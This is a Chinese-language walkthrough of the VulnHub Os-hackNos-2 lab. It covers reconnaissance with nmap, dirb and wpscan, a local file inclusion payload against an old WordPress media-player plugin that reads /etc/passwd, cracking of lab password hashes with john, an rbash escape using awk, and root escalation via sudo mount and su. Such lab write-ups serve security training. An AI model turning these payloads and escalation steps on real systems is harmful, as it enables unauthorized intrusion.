vulnhub-Os-hackNos-2
知识点:
- nmap
- dirb
- searchsploit
- wpscan
- john
- LFI漏洞
- rbash逃逸
环境搭建
- 难度:中等偏下
- 需要获取俩个flag
1 | 难度:容易中级 |
靶机和kali均使用NAT模式,靶机最开始不能获取ip
网卡设置
通过netplan设置网络。
1.1在开机时按下Shift键进入以下界面
1.2在此页面按下e键,进入如下界面
1.3将ro 替换为 rw signie init=/bin/bash
1.4按下Ctrl键+X键,进入如下页面
1.5查看当前网卡IP信息 ip a
1.6ifconfig -a看到有一块ens33的网卡,但是没有生效。
sudo vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33
之后dhclient获取一下ip
重启便能扫描到靶机ip
信息收集
主机发现
1 | nmap -sP 192.168.211.1/24 |
得到目标靶机的ip为192.168.211.155
端口扫描
1 | nmap -A 192.168.211.155 |
靶机开放了22端口和80端口
访问80端口
其为一个Apache2页面
使用dirb扫描一下目录
1 | dirb http://192.168.211.155 |
发现了tsweb目录,并且可以很容易看出这是一个WordPress网站
访问wp-admin
进入后台登陆页面,使用wpscan扫描该网站用户
1 | wpscan --url http://192.168.211.155/tsweb/ -e u |
得到一个用户名为user
GETSHELL
再次使用该工具进行爆破密码
1 | wpscan --url http://192.168.211.155/tsweb/ -U user -P /usr/share/wordlists/rockyou.txt |
但是爆破了十几分钟都没出结果,所以换一种方法
再次回去看扫描结果,发现该网站有一个很老的插件
搜索是否存在漏洞
1 | searchsploit gracemedi |
查看该漏洞,找到一个本地文件包含的POC
1 | /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd |
成功利用,并且发现了flag用户的密码的hash值,尝试进行破解
将$1$flag$vqjCxzjtRc7PofLYS2lWf/
写入john.txt中
1 | john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt |
得到密码为topsecret
使用ssh登陆
1 | ssh flag@192.168.211.155 |
登陆成功,但是收到了rbash的限制,记得在做DC-2靶机的时候也遇到过,需要进行绕过
绕过rbash
1 | 导入$PATH |
但是这里/
不被允许,寻找其他方法
参考:https://www.freebuf.com/articles/system/188989.html
1 | 编程语言 |
这里我选用awk
成功绕过rbash
通过遍历目录,在/var/backups/passbkp下发现rohit的密码hash,进行破解
1 | $1$rohit$01Dl0NQKtgfeL08fGrggi0 |
得到密码为!%hack41
,使用rohit登陆
在user.txt中发现第一个flag
之后便需要进行提权
提权
查看当前⽤⼾sudo⽀持的命令sudo -l
查看具有suid权限的命令
1 | find / -user root -perm -4000 2>/dev/null |
发现有su、sudo、mount等命令具有suid权限
使用mount提权
1 | sudo mount -o bind /bin/sh /bin/mount |
使用su提权
1 | sudo su |
这个靶机提权的方法很多,可以参考https://gtfobins.github.io/